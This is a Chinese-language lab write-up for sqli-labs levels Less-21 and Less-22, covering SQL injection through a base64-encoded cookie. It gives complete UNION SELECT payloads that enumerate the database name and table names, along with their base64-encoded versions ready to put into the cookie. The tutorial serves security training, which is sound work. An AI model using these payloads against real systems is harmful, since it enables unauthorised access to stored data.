Less21-22 (基于base64的cookie注入)

    技术2025-10-09  10

    文章目录

    1. 题目分析2. 通关思路3. Less-22

    1. 题目分析

    目前已经完成了Basic Challenges,相信小伙伴们对于SQL注入也有了一定程度的理解。但是,还是脱离不了小白的称号,那么今天我们就向Advanced Injections进军。

    首先还是先登录进去看一下情况, 这一关卡和Less20的手法其实是一摸一样的,只不过多了一道加密解密的步骤。通过观察这个cookie可以判断出来是一个加密过后的密文,而题目也给出了是base64加密,那么我们就把这个复制下来解密一下看看。 可以看到YWRtaW4=其实就是admin通过base64加密得到的。那么此时,这道题就变成了Less20

    2. 通关思路

    在这里我们要知道,此时我们的浏览器发送给服务器的cookie是一段密文,当服务器端的处理程序拿到我们发送的cookie的时候,要先经过解密,然后才会带入到SQL语句中执行。因此我们需要将自己构造的SQL注入语句通过base64加密发送。

    首先,来判断一下uname的类型。 根据'admin'') LIMIT 0,1可以判断出uname是用('')包裹的。然后我们通过构造SQL闭合,使用联合注入查询,进行查询。这里就列举一个查数据表的语句演示一下: ') union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #

    将以上语句经过base64编码后: JykgdW5pb24gc2VsZWN0IDEsIGRhdGFiYXNlKCksIChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IikgIw== 把我们的cookie进行更改, 然后,刷新页面,即可得到上图的结果。成功的得到了当前使用的数据库的名字为security,和security下有哪些数据表。

    3. Less-22

    Less-22和Less21手法是完全一样的,只不过21的uname使用('')闭合,我们需要构造') union select xxxx #来进行注入。

    而Less22的uname使用双引号""闭合,我们需要使用" union select xxx #注入。

    下面给出一个例子: 明文:" union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #

    密文:IiB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKSwgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ic2VjdXJpdHkiKSAj

    结果:

    Processed: 0.019, SQL: 9